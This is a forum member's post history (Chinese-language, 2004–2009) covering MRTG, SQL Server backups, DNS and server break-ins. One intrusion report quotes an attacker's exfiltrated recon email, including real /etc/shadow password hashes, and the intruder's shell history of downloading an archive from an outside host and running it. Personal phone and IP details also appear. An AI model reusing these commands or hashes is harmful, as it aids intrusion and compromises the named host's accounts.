顯示文章

這裡允許您檢視這個會員的所有文章。請注意, 您只能看見您有權限閱讀的文章。


文章 - kimen

頁: [1]
2
我有QQ:123286463
所以我是大陸人~~~~

3
美食行動區 / 回覆: 群英會美味小點心
« 於: 2009-03-03 09:28 »
小弟也有參加這次的Green IT,
甜點很好吃,跟上次RRDtool 一樣,
有人知道這是跟哪家訂的嗎?方便的話可以PM給我。
謝謝!
PS:RRDtool那天因為沒什麼人吃,下課時工作人員還熱心的讓我們外帶回家。

4
引述: "HaWay"
來吧! 打 Game 吧! - WoW On Linux

常常在各大討論區, 總是會出現許多的月經文(註一)
這些相對立的文章, 多數討論者 Linux 與 Windows
的區別. 很多人對於 Linux 的認知都覺得無法在這
個作業系統上玩遊戲.

Linux 經過多年的發展, 終於達成了這個夢想,
許多默默努力的人將人生最大的樂趣放到了 Linux
上面. 本月邀請 Ducati 為您介紹知名遊戲 WoW
如何在 Linux 上面安裝! 來吧! 這個月~我們來打
Game.

slide 大概內容是
WoW on Linux         #主要內容

Linux games
Tremulous, 3D Online FPS   #有安裝方式
Enemy Territory         #有安裝方式

時間: 2006 年 10 月 28 號 PM 2:00 ~ PM 5:00
主題: WoW On Linux
講師: Ducati
地點: 台南社區大學(公園路延平國中內) 2F 電腦教室
費用: 0 -
報名網址: http://samc.study-araa.org/join.php
地圖: http://phorum.study-area.org/viewtopic.php?t=39882

註一: 每個月都會來戰的文章.
本研討會所有遊戲僅測試用, 請支持正版遊戲.


Hi Haway,
     您的網址好像打錯了?araa..
報名網址: http://samc.study-area.org/join.php

請問一下是不是網友都可以報名?有何限制?

謝謝!

5
系統安全討論版 / 我的主機有人來了~~
« 於: 2004-10-22 00:05 »
今天回來root收到mail如下:
代碼: [選擇]

The original message was received at Thu, 21 Oct 2004 18:46:59 +0800
from localhost.localdomain [127.0.0.1]

   ----- The following addresses had permanent fatal errors -----
<nickice2001@yahoo.com>
    (reason: 554 delivery error: dd This user doesn't have a yahoo.com account (nickice2001@yahoo.com) [-5] - mta181.mail.scd.yahoo.com)

   ----- Transcript of session follows -----
... while talking to mx3.mail.yahoo.com.:
>>> DATA
<<< 554 delivery error: dd This user doesn't have a yahoo.com account (nickice2001@yahoo.com) [-5] - mta181.mail.scd.yahoo.com
554 5.0.0 Service unavailable

內容是:
代碼: [選擇]

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++      Informatziile pe care le-ai dorit boss:)       +++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Hostname : home.kimen.idv.tw (210.66.91.136)
Alternative IP : 61.59.130.105
Host : home.kimen.idv.tw
                                                         
===============================================================
                                                         
Distro: Red Hat Linux release 8.0 (Psyche)
                                                         
===============================================================
                                                         
Uname -a
Linux home.kimen.idv.tw 2.4.18-14 #1 Wed Sep 4 11:57:57 EDT 2002 i586 i586 i386 GNU/Linux
                                                         
===============================================================
                                                         
Uptime
  6:44pm  up 18:04,  2 users,  load average: 0.28, 0.08, 0.02
                                                         
===============================================================
                                                         
Pwd
/var/tmp/swat
                                                         
===============================================================
                                                         
ID
uid=0(root) gid=0(root)
                                                         
===============================================================
                                                         
Yahoo.com ping:
                                                         
PING 64.58.79.230 (64.58.79.230) from 210.66.91.136 : 56(84) bytes of data.

--- 64.58.79.230 ping statistics ---
6 packets transmitted, 0 received, 100% loss, time 5015ms

                                                         
===============================================================
                                                         
Hw info:
                                                         
CPU Speed: 400.928MHz
CPU Vendor: vendor_id : AuthenticAMD
CPU Model: model name : AMD-K6(tm) 3D processor
RAM: 126 Mb
                                                         
===============================================================
                                                         
HDD(s):
Filesystem    Type    Size  Used Avail Use% Mounted on
/dev/hda1     ext3    3.5G  1.3G  2.0G  40% /
none         tmpfs     62M     0   61M   0% /dev/shm
                                                         
===============================================================
                                                         
inetd-ul...
                                                         
===============================================================
                                                         
configurarea ip-urilor..
          inet addr:210.66.91.136  Bcast:210.66.91.255  Mask:255.255.255.0
          inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
          inet addr:127.0.0.1  Mask:255.0.0.0
                                                         
===============================================================
                                                         
Ports open:
snmpd      603   root    8u  IPv4       1139               TCP *:smux (LISTEN)
named      612  named   10u  IPv4       1466               TCP localhost.localdomain:domain (LISTEN)
named      612  named   12u  IPv4       1470               TCP 210-66-91-136.adsl.dynamic.seed.net.tw:domain (LISTEN)
named      612  named   14u  IPv4       1481               TCP home:domain (LISTEN)
named      612  named   15u  IPv4       1492               TCP localhost.localdomain:rndc (LISTEN)
named      618  named   10u  IPv4       1466               TCP localhost.localdomain:domain (LISTEN)
named      618  named   12u  IPv4       1470               TCP 210-66-91-136.adsl.dynamic.seed.net.tw:domain (LISTEN)
named      618  named   14u  IPv4       1481               TCP home:domain (LISTEN)
named      618  named   15u  IPv4       1492               TCP localhost.localdomain:rndc (LISTEN)
named      619  named   10u  IPv4       1466               TCP localhost.localdomain:domain (LISTEN)
named      619  named   12u  IPv4       1470               TCP 210-66-91-136.adsl.dynamic.seed.net.tw:domain (LISTEN)
named      619  named   14u  IPv4       1481               TCP home:domain (LISTEN)
named      619  named   15u  IPv4       1492               TCP localhost.localdomain:rndc (LISTEN)
named      620  named   10u  IPv4       1466               TCP localhost.localdomain:domain (LISTEN)
named      620  named   12u  IPv4       1470               TCP 210-66-91-136.adsl.dynamic.seed.net.tw:domain (LISTEN)
named      620  named   14u  IPv4       1481               TCP home:domain (LISTEN)
named      620  named   15u  IPv4       1492               TCP localhost.localdomain:rndc (LISTEN)
named      621  named   10u  IPv4       1466               TCP localhost.localdomain:domain (LISTEN)
named      621  named   12u  IPv4       1470               TCP 210-66-91-136.adsl.dynamic.seed.net.tw:domain (LISTEN)
named      621  named   14u  IPv4       1481               TCP home:domain (LISTEN)
named      621  named   15u  IPv4       1492               TCP localhost.localdomain:rndc (LISTEN)
sshd       629   root    3u  IPv4       1460               TCP *:ssh (LISTEN)
xinetd     643   root    5u  IPv4       1537               TCP *:imap (LISTEN)
xinetd     643   root    6u  IPv4       1538               TCP *:pop3 (LISTEN)
xinetd     643   root    7u  IPv4       1539               TCP *:ftp (LISTEN)
sendmail   670   root    4u  IPv4       1615               TCP *:smtp (LISTEN)
httpd      692   root    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      692   root    4u  IPv4       1642               TCP *:https (LISTEN)
smbd       743   root    9u  IPv4       1730               TCP *:netbios-ssn (LISTEN)
httpd      786 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      786 apache    4u  IPv4       1642               TCP *:https (LISTEN)
httpd      787 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      787 apache    4u  IPv4       1642               TCP *:https (LISTEN)
httpd      788 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      788 apache    4u  IPv4       1642               TCP *:https (LISTEN)
httpd      789 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      789 apache    4u  IPv4       1642               TCP *:https (LISTEN)
httpd      804 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      804 apache    4u  IPv4       1642               TCP *:https (LISTEN)
httpd      805 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      805 apache    4u  IPv4       1642               TCP *:https (LISTEN)
httpd      806 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      806 apache    4u  IPv4       1642               TCP *:https (LISTEN)
httpd      807 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      807 apache    4u  IPv4       1642               TCP *:https (LISTEN)
smbd      4988   root    5u  IPv4      13326               TCP *:10007 (LISTEN)
                                                         
===============================================================
                                                         
/etc/passwd & /etc/shadow
                                                         
/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/bin/bash
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
wnn:x:49:49:Wnn System Account:/home/wnn:/bin/bash
named:x:25:25:Named:/var/named:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
squid:x:23:23::/var/spool/squid:/dev/null
webalizer:x:67:67:Webalizer:/var/www/html/usage:/sbin/nologin
mailman:x:41:41:GNU Mailing List Manager:/var/mailman:/bin/false
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
kimen:x:500:500:JerryYang:/home/kimen:/bin/bash
cure:x:501:501::/home/cure:/bin/bash
test:x:502:502::/home/test:/bin/bash
                                                         
/etc/shadow
root:$1$懣謺$DNXtKQ/gNSuKJfnec8Mlt0:12665:0:99999:7:::
bin:*:12665:0:99999:7:::
daemon:*:12665:0:99999:7:::
adm:*:12665:0:99999:7:::
lp:*:12665:0:99999:7:::
sync:*:12665:0:99999:7:::
shutdown:*:12665:0:99999:7:::
halt:*:12665:0:99999:7:::
mail:*:12665:0:99999:7:::
news:*:12665:0:99999:7:::
uucp:*:12665:0:99999:7:::
operator:*:12665:0:99999:7:::
games:*:12665:0:99999:7:::
gopher:*:12665:0:99999:7:::
ftp:*:12665:0:99999:7:::
nobody:*:12665:0:99999:7:::
ntp:!!:12665:0:99999:7:::
rpc:!!:12665:0:99999:7:::
vcsa:!!:12665:0:99999:7:::
nscd:!!:12665:0:99999:7:::
sshd:!!:12665:0:99999:7:::
rpm:!!:12665:0:99999:7:::
mailnull:!!:12665:0:99999:7:::
smmsp:!!:12665:0:99999:7:::
rpcuser:!!:12665:0:99999:7:::
nfsnobody:!!:12665:0:99999:7:::
pcap:!!:12665:0:99999:7:::
xfs:!!:12665:0:99999:7:::
wnn:!!:12665:0:99999:7:::
named:!!:12665:0:99999:7:::
gdm:!!:12665:0:99999:7:::
postgres:!!:12665:0:99999:7:::
apache:!!:12665:0:99999:7:::
postfix:!!:12665:0:99999:7:::
squid:!!:12665:0:99999:7:::
webalizer:!!:12665:0:99999:7:::
mailman:!!:12665:0:99999:7:::
mysql:!!:12665:0:99999:7:::
kimen:$1$hi$CjfGyf4UHtZM4/hrPbDsS1:12665:0:99999:7:::
cure:$1$G37sBwuS$jNqZaBwbpRXeYOt9M/Cjc1:12684:0:99999:7:::
test:$1$Kn5M7pUJ$uVaPDTlqJtHpKV16qIawA0:12708:0:99999:7:::
                                                         
===============================================================
                                                         
interesting filez:
                                                         
Mp3-urile
                                                         
Avi-urile
                                                         
Mpg-urile
                                                         
===============================================================
                                                         
Cam asta este tot-ul ... sper sa fie ceva de server-ul asta...:)
                                                         

查完之後是我設test的帳號跟密碼一樣讓他登入了~~
他還執行了
代碼: [選擇]

 more .bash_history
w
passwd
cat /etc/hosts
/sbin/ifconfig |grep inet
ls
cd /var/tmp
ls
wget www.cracos.as.ro/90.tgz
tar xzvf 90.tgz
chmod +x 90
./90

目前也不清楚被改了什麼~~
真的不知道我可以幹嘛,
請問一個,我之前的一些ln -sf做的連結都變紅色
這是什麼意思啊~~
以上供大家參考~~哈~~

6
database 討論版 / MS SQL 2000交易紀錄備份
« 於: 2004-10-18 00:25 »
引述: "duncanlo"
引述: "kimen"
引述: "duncanlo"
Log被咬住,當然備不出來...

其實我是有去觀察是不是有資料庫被鎖住了,看到有這樣的情形,
後來我重新啟動SQL Server,照裡說應該會重新整理的,
沒想到啟動後還是一樣有被lock


因為最後幾個Log還是被開啟等待寫入...


結果~~~
後來發現原來是資料庫的還原類型是"簡易"

在資料庫的內容裡有一個選項,把它改成"完全"就可以了。
謝謝

7
引述: "greldon"
我們是跟速博申請的。小弟現在就是不知道要如何讓公司裡的人在
ping abc.com.tw時得到的ip是原先速博的,而不是公司內的這台DC。
我有試過新增一筆主機記錄,然後主機的名稱空白,再將外面的ip打上
去,這樣做一開始可以成功,但過沒多久DC自動會加一筆紀錄把ip指向
內部這台DC,這樣我ping abc.com.tw時就又會變成內部的ip,這樣影響
最大的是公司會不能收mail,因為mail也是跟速博申請的。
像這樣情形我要如何設定DNS才對呢?謝謝!

nslookup查一下你的domina NS record 的ip是哪個
代碼: [選擇]

nslookup
set q=ns
adc.com.tw

如果解出來的ip不是你的DC IP的話就去速博網上改,
我申請個人網址,都是在網頁上修改的,商用的應該也一樣吧。
請問你的DC是用對外IP還是用內部IP?還是兩者都有?

8
引述: "greldon"
小弟最近把公司的網域由NT4.0升級到2000,原本的網域中沒有架DNS,
公司的DNS由外面ISP代管。現在我升級2000後內部就架了DNS(win2000
上的),然而以前的網域abc.com.tw對應到的ip是外面代管的server,但是現在卻變成內部的這台DNS的ip,請問要如何讓內部的abc.com.tw指到外面原來
的DNS?
謝謝!


dns 跟哪家申請的?去把domain對應的dns server 的ip設好
這樣你那台dns server 才會生效
其它的網域名稱就由你那台dns server 去設吧

9
database 討論版 / MS SQL 2000交易紀錄備份
« 於: 2004-10-15 14:07 »
引述: "duncanlo"
Log被咬住,當然備不出來...

其實我是有去觀察是不是有資料庫被鎖住了,看到有這樣的情形,
後來我重新啟動SQL Server,照裡說應該會重新整理的,
沒想到啟動後還是一樣有被lock

10
database 討論版 / MS SQL 2000交易紀錄備份
« 於: 2004-10-15 01:44 »
關聯性是沒有 ,但我的SQL預設系統啟動時是用Windows整合的帳號
並沒有用sa,後來我想要去修改,它卻說這是個保留的名字不讓我改。

11
database 討論版 / MS SQL 2000交易紀錄備份
« 於: 2004-10-14 21:14 »
小弟用MS SQL 2000在備份時無法選擇備份交易紀錄檔,
而排程裡的job也無法正常執行備份交易紀錄檔,
其它的資料庫備份、差異備份都可以選,排程也正常,就只有交易紀錄的有問題,
當新建一個新的資料庫後,再來備份資料庫,是可以選擇備份交易紀錄檔的

請問有人遇到這種情況嗎?


謝謝!

12
系統安全討論版 / 被入侵
« 於: 2004-09-06 01:09 »
引述: "netman"
iptables+xinetd+tcpd+pam+daemon-acl ...
夠強了吧?

但我問一句話就好:
你的 server 要打算 open 給 public 嗎?
若果你說 no, 那好, 請將網路線拔掉就好.
若你說 yes, 那, 再多一百道 firewall 都是多餘的!
做的東西很多, 難說有哪些, 大都在系統面, 而不是服務層, 更不在網路層...
若你還是毫無頭緒, 簡單的問自己:
--- 萬一 service daemon 真的被破解了, 你能在系統裡作哪些限制?

從這點出發, 推演開來, 你就知道系統基礎的重要性, 及如何去調系統了.
請別問我如何調, 問你跟系統的友情有多深吧?

沒有醜女人只有懶女人,
在這裡, 是:
沒有不安全的系統, 只有懶的管理員! 哈哈...


netman:
您的話我看了n次了~~~~~~
~~~謝謝你的這一番話~~
讓我有所領悟

13
系統安全討論版 / 被入侵
« 於: 2004-09-05 22:26 »
引述: "twu2"
怕熱就不要進廚房.
連上網路就不要怕人家試著連進來, 不然就不要開放了.

你的系統有那些使用者可以使用 ssh 呢? 這些人的密碼都很好猜嗎? 有沒有固定由那邊連上呢?

不怕不怕!現在不怕了~!哈~
我用下列的iptables 可以嗎?反正就當作是練習嘛,平常還找不到這種機會。

代碼: [選擇]

iptables -t filter -A INPUT -p tcp -s 60.59.130.105 --dport 22 -j ACCEPT
iptables -t filter -A INPUT -p tcp -s 213.73.0.0/16 --dport 22 -j ACCEPT
iptables -t filter -A INPUT -p tcp -s 202.68.0.0/16 --dport 22 -j ACCEPT
iptables -t filter -A INPUT -p tcp -s 218.168.0.0/16 --dport 22 -j ACCEPT
iptables -t filter -A INPUT -p tcp  --dport 22 -j REJECT

我的想法是先把我自己有可能連進去的IP,如:我家的或是我常用的IP開放SSH,再來就是全把SSH檔,這樣有效嗎。
這台電腦~~~~說真的沒什麼人在用~~除了我~~~~哈~~~
所以原則上只有我會連上去而已,很好玩耶!
而我的密碼是8位,沒意義的字~~
我在想有法子追蹤他嗎~~~
還是先放行~~再把LOG叫出來看~
~

刺激!刺激!
好玩好玩

14
系統安全討論版 / 被入侵
« 於: 2004-09-05 21:48 »
真巧啊!我剛想上來post說!
我也被選中了!
而且連續幾天了~~~怎麼辦啊?
可以設成login3次錯誤就鎖嗎?
9月3日
代碼: [選擇]

Sep  3 22:44:18 phpweb sshd[13872]: Could not reverse map address 220.73.215.151.
Sep  3 22:44:18 phpweb sshd[13874]: Could not reverse map address 220.73.215.151.
Sep  3 22:44:24 phpweb sshd[13876]: Could not reverse map address 220.73.215.151.
Sep  3 22:44:24 phpweb sshd[13878]: Could not reverse map address 220.73.215.151.
Sep  3 22:44:25 phpweb sshd[13880]: Could not reverse map address 220.73.215.151.
Sep  3 22:44:25 phpweb sshd[13882]: Could not reverse map address 220.73.215.151.
Sep  3 22:44:28 phpweb sshd[13882]: Failed password for root from 220.73.215.151 port 59300 ssh2
Sep  3 22:44:28 phpweb sshd[13884]: Could not reverse map address 220.73.215.151.
Sep  3 22:44:31 phpweb sshd[13884]: Failed password for root from 220.73.215.151 port 59405 ssh2
Sep  3 22:44:31 phpweb sshd[13886]: Could not reverse map address 220.73.215.151.
Sep  3 22:44:34 phpweb sshd[13886]: Failed password for root from 220.73.215.151 port 59519 ssh2
Sep  3 22:44:34 phpweb sshd[13888]: Could not reverse map address 220.73.215.151.

9月4日
代碼: [選擇]

Sep  4 01:24:30 phpweb sshd[13955]: Could not reverse map address 221.207.59.129.
Sep  4 01:24:35 phpweb sshd[13957]: Could not reverse map address 221.207.59.129.
Sep  4 01:24:37 phpweb sshd[13959]: Could not reverse map address 221.207.59.129.
Sep  4 01:24:41 phpweb sshd[13961]: Could not reverse map address 221.207.59.129.
Sep  4 01:24:49 phpweb sshd[13963]: Could not reverse map address 221.207.59.129.
Sep  4 01:24:52 phpweb sshd[13965]: Could not reverse map address 221.207.59.129.
Sep  4 01:24:55 phpweb sshd[13965]: Failed password for root from 221.207.59.129 port 41668 ssh2
Sep  4 01:25:02 phpweb sshd[13967]: Could not reverse map address 221.207.59.129.
Sep  4 01:25:05 phpweb sshd[13967]: Failed password for root from 221.207.59.129 port 41709 ssh2
Sep  4 02:18:34 phpweb sshd[13975]: Could not reverse map address 219.240.134.5.
Sep  4 02:18:36 phpweb sshd[13977]: Could not reverse map address 219.240.134.5.
Sep  4 03:25:57 phpweb xinetd[543]: EXIT: ftp pid=13947 duration=11259(sec)
Sep  4 10:48:13 phpweb xinetd[543]: START: ftp pid=14359 from=218.175.177.65
Sep  4 10:48:13 phpweb xinetd[543]: EXIT: ftp pid=14359 duration=0(sec)
Sep  4 12:46:30 phpweb xinetd[543]: START: ftp pid=14372 from=211.23.141.110
Sep  4 12:46:30 phpweb xinetd[543]: START: ftp pid=14373 from=211.23.141.110
Sep  4 12:46:31 phpweb xinetd[543]: EXIT: ftp pid=14373 duration=1(sec)
Sep  4 12:46:31 phpweb xinetd[543]: EXIT: ftp pid=14372 duration=1(sec)
Sep  4 13:17:56 phpweb xinetd[543]: START: ftp pid=14378 from=218.69.108.57
Sep  4 13:19:06 phpweb xinetd[543]: EXIT: ftp pid=14378 duration=70(sec)
Sep  4 21:36:20 phpweb xinetd[543]: START: ftp pid=14426 from=211.219.50.246

9月5日
代碼: [選擇]
Sep  5 16:51:58 phpweb xinetd[543]: START: ftp pid=20729 from=80.136.83.250
Sep  5 16:52:00 phpweb xinetd[543]: START: ftp pid=20730 from=80.136.83.250
Sep  5 16:52:05 phpweb xinetd[543]: EXIT: ftp pid=20730 duration=5(sec)
Sep  5 16:52:09 phpweb xinetd[543]: START: ftp pid=20731 from=80.136.83.250
Sep  5 16:52:15 phpweb xinetd[543]: EXIT: ftp pid=20731 duration=6(sec)
Sep  5 16:52:17 phpweb xinetd[543]: START: ftp pid=20732 from=80.136.83.250
Sep  5 16:52:24 phpweb xinetd[543]: EXIT: ftp pid=20732 duration=7(sec)
Sep  5 16:52:25 phpweb xinetd[543]: START: ftp pid=20733 from=80.136.83.250
Sep  5 16:52:33 phpweb xinetd[543]: EXIT: ftp pid=20733 duration=8(sec)
Sep  5 16:52:34 phpweb xinetd[543]: START: ftp pid=20734 from=80.136.83.250
Sep  5 16:52:42 phpweb xinetd[543]: EXIT: ftp pid=20734 duration=8(sec)
Sep  5 16:52:43 phpweb xinetd[543]: START: ftp pid=20735 from=80.136.83.250
Sep  5 16:52:52 phpweb xinetd[543]: EXIT: ftp pid=20735 duration=9(sec)
Sep  5 16:52:52 phpweb xinetd[543]: START: ftp pid=20736 from=80.136.83.250
Sep  5 16:52:57 phpweb xinetd[543]: EXIT: ftp pid=20736 duration=5(sec)
Sep  5 16:52:57 phpweb xinetd[543]: START: ftp pid=20737 from=80.136.83.250
Sep  5 16:53:02 phpweb xinetd[543]: EXIT: ftp pid=20737 duration=5(sec)
Sep  5 16:53:03 phpweb xinetd[543]: START: ftp pid=20738 from=80.136.83.250
Sep  5 16:53:08 phpweb xinetd[543]: EXIT: ftp pid=20738 duration=5(sec)
Sep  5 16:53:09 phpweb xinetd[543]: START: ftp pid=20739 from=80.136.83.250
Sep  5 21:51:00 phpweb sshd[21296]: Failed password for root from 211.234.117.13 port 54646 ssh2
Sep  5 21:51:01 phpweb sshd[21298]: Could not reverse map address 211.234.117.13.
Sep  5 21:51:04 phpweb sshd[21298]: Failed password for root from 211.234.117.13 port 54785 ssh2
Sep  5 21:51:05 phpweb sshd[21300]: Could not reverse map address 211.234.117.13.
Sep  5 21:51:07 phpweb sshd[21300]: Failed password for root from 211.234.117.13 port 54931 ssh2
Sep  5 21:51:08 phpweb sshd[21302]: Could not reverse map address 211.234.117.13.
Sep  5 21:51:11 phpweb sshd[21302]: Failed password for root from 211.234.117.13 port 55077 ssh2
Sep  5 21:51:12 phpweb sshd[21304]: Could not reverse map address 211.234.117.13.
Sep  5 21:51:14 phpweb sshd[21304]: Failed password for root from 211.234.117.13 port 55222 ssh2
Sep  5 21:51:15 phpweb sshd[21306]: Could not reverse map address 211.234.117.13.
Sep  5 21:51:17 phpweb sshd[21306]: Failed password for root from 211.234.117.13 port 55363 ssh2
Sep  5 21:51:19 phpweb sshd[21308]: Could not reverse map address 211.234.117.13.
Sep  5 21:51:21 phpweb sshd[21308]: Failed password for root from 211.234.117.13 port 55514 ssh2
Sep  5 21:51:22 phpweb sshd[21310]: Could not reverse map address 211.234.117.13.
Sep  5 21:51:24 phpweb sshd[21310]: Failed password for root from 211.234.117.13 port 55655 ssh2
Sep  5 21:51:25 phpweb sshd[21312]: Could not reverse map address 211.234.117.13.
Sep  5 21:51:28 phpweb sshd[21312]: Failed password for root from 211.234.117.13 port 55799 ssh2


小弟的系統是 RedHat 8.0都沒更新過~~哈~

好怕啊!害我把service 都關了,現在只開ssh,不知道對方 幾天攻得下來?
求救啊!

15
工作機會 / 徵程式設計師
« 於: 2004-07-20 00:16 »
徵人:
徵程式設計師
可以兼職或全職
主要以vb為主(至少精通一種 ),要有電腦的基礎像網路、系統等等
因為程式有可能寫程網路程式,
程式為配合門禁系統所開發,
我們的客戶多為科技大廠。
薪水、福利絕對好談
有經驗佳!
住桃園、中壢佳

聯絡人:葉先生
電話  :0911260789
歡迎來電洽詢或面談

更正如下:
專案研究助理
 
有程式設計能力(熟VB,Java,ASP等)
最好有一年程式開發工作經驗
工作時間為責任制
上班地點中壢
有汽車駕照(尤佳)
需至客戶端進行系統分析,系統安裝等工作

16
殺!殺!殺! :D

17
Windows 討論版 / [問題] 資料備份軟體
« 於: 2004-07-10 20:27 »
來學windows內建的備份!
呵~~ :D

18
我是要用在nt上的,只是家裡沒有裝啊,所以就用win2000來做測試囉。
呵~~~應該是要靠其它軟體吧

19
先感謝您的幫忙!
目前基本的網路流量是可以正常的秀出來。
現在想抓取cpu,memory,disk資訊,
我後來將mrtg.cfg改成如下
代碼: [選擇]

Target[me.cpu]: hrSystemNumUsers.0&hrSystemNumUsers.0:public@192.168.1.3 + hrSystemProcesses.0&hrSystemProcesses.0:public@192.168.1.3 + hrSystemMaxProcesses.0&hrSystemMaxProcesses.0:public@192.168.1.3
Title[me.cpu]: me CPU Load
PageTop[me.cpu]: <H1>CPU Load - System, User and Nice Processes</H1>
MaxBytes[me.cpu]: 100
ShortLegend[me.cpu]: %
YLegend[me.cpu]: CPU Utilization
Legend1[me.cpu]: Current CPU percentage load
LegendI[me.cpu]: Used
LegendO[me.cpu]:
Options[me.cpu]: growright,nopercent,gauge
Unscaled[me.cpu]: ymwd


我將原本的改成了hrSystemNumUsers.0 那3個參數,這幾個參數是我在
snmpwalk -v 1 192.168.1.3 -c public 後看到很多的參數,我就抓幾個來試試
後來執行時就像下面一樣
代碼: [選擇]

Unknown SNMP var hrSystemNumUsers.0
 at /usr/local/mrtg2/bin/mrtg line 1491
Unknown SNMP var hrSystemNumUsers.0
 at /usr/local/mrtg2/bin/mrtg line 1491
WARNING: Expected a number but got '3:06:03'
WARNING: Expected a number but got 'WEILIANG'
Unknown SNMP var hrSystemProcesses.0
 at /usr/local/mrtg2/bin/mrtg line 1491
Unknown SNMP var hrSystemProcesses.0
 at /usr/local/mrtg2/bin/mrtg line 1491
WARNING: Expected a number but got '3:06:04'
WARNING: Expected a number but got 'WEILIANG'
Unknown SNMP var hrSystemMaxProcesses.0
 at /usr/local/mrtg2/bin/mrtg line 1491
Unknown SNMP var hrSystemMaxProcesses.0
 at /usr/local/mrtg2/bin/mrtg line 1491
WARNING: Expected a number but got '3:06:04'
WARNING: Expected a number but got 'WEILIANG'

不知日京三子兄您的意思是不是也是這樣改的?

21
http://www.microsoft.com/technet/prodtechnol/winntas/maintain/netmgmt.mspx
http://www.siliconvalleyccie.com/linux-hn/mrtg-advanced.htm#_Toc69579351

i try to find the way to monitor nt server

but i saw that
代碼: [選擇]
The SNMP Model
The SNMP model is based on the manager-agent model. The SNMP Manager uses a network management application to submit the commands to the SNMP agents on the network entities. Lately, the applications have been developed primarily to provide a user-friendly interface for managers to seamlessly process these commands. Windows NT implements the SNMP agent as a service, but does not provide an SNMP Manager by default.


so........... :(

22
小弟最近也在用cpu、hd 、memory的mrtg,
snmp agent 平台也是nt server
因為公司沒有linux所以用xp來當web server mrtg
下面是我用的程式版本
 ActivePerl-5.6.1.638-MSWin32-x86
mrtg-2.10.14
下面是我的mrtg.cfg
代碼: [選擇]

EnableIPv6: no
WorkDir: c:\mrtgdata
Interval: 5
WriteExpires: Yes
Options[_]: gauge,absolute,growright,nopercent
Language: big5
Refresh: 300
Target[snmp_cpu]:.1.3.6.1.2.1.25.3.3.1.2.1&.1.3.6.1.2.1.25.3.3.1.2.2:public@nec
MaxBytes[snmp_cpu]: 100
Directory[snmp_cpu]: cpu
YLegend[snmp_cpu]: Load Average (%)
ShortLegend[snmp_cpu]: %
Unscaled[snmp_cpu]: dwmy
LegendO[snmp_cpu]:   CPU 每1分鐘負載平均值;
LegendI[snmp_cpu]:   CPU 每5分鐘負載平均值;
Title[snmp_cpu]: Mosquito伺服器 CPU 負載率
PageTop[snmp_cpu]: <H1>Mosquito伺服器 CPU 負載率</H1>
  <TABLE>
   <TR><TD>System:</TD><TD>Redhat 8.0</TD></TR>
   <TR><TD>Maintainer:</TD><TD>Mosquito</TD></TR>
   <TR><TD>IP:</TD><TD>10.70.220.234</TD></TR>
  </TABLE>
Legend1[snmp_cpu]: CPU 每1分鐘負載平均值
Legend2[snmp_cpu]: CPU 每5分鐘負載平均值

執行後的錯誤訊息
代碼: [選擇]

SNMP Error:
Received SNMP response with error code
  error status: noSuchName
  index 1 (OID: 1.3.6.1.2.1.25.3.3.1.2.1)
SNMPv1_Session (remote host: "nec" [192.168.123.116].161)
                  community: "public"
                 request ID: 375162851
                PDU bufsize: 8000 bytes
                    timeout: 2s
                    retries: 5
                    backoff: 1)
SNMPGET Problem for .1.3.6.1.2.1.25.3.3.1.2.1 .1.3.6.1.2.1.25.3.3.1.2.2 sysUptim
e sysName on public@nec::::::v4only
ERROR: Target[snmp_cpu][_IN_] ' $target->[0]{$mode} ' did not eval into defined
data
ERROR: Target[snmp_cpu][_OUT_] ' $target->[0]{$mode} ' did not eval into defined
 data


其實這應該也是mib值沒有設對,但我也參照之前有人提過,
每個平台會有不一樣的mib值,找了好幾天了,都看到一堆數字的rfc
及mib值,從1.3.6.1後面就很多了。
真的不知道從何下手。
還有上面說v4only,  我也將ipv6 disable了。
會不會是我用的太新了~~~~
看來還要多努力囉

23
雜七雜八 / [問題]請問一下關於這種圖?
« 於: 2004-04-26 21:38 »
小弟常在很多地方看到有人用像之前dos下文書處理的方式畫圖,
如常常會變成用下面這種符號結合而成。
-------------


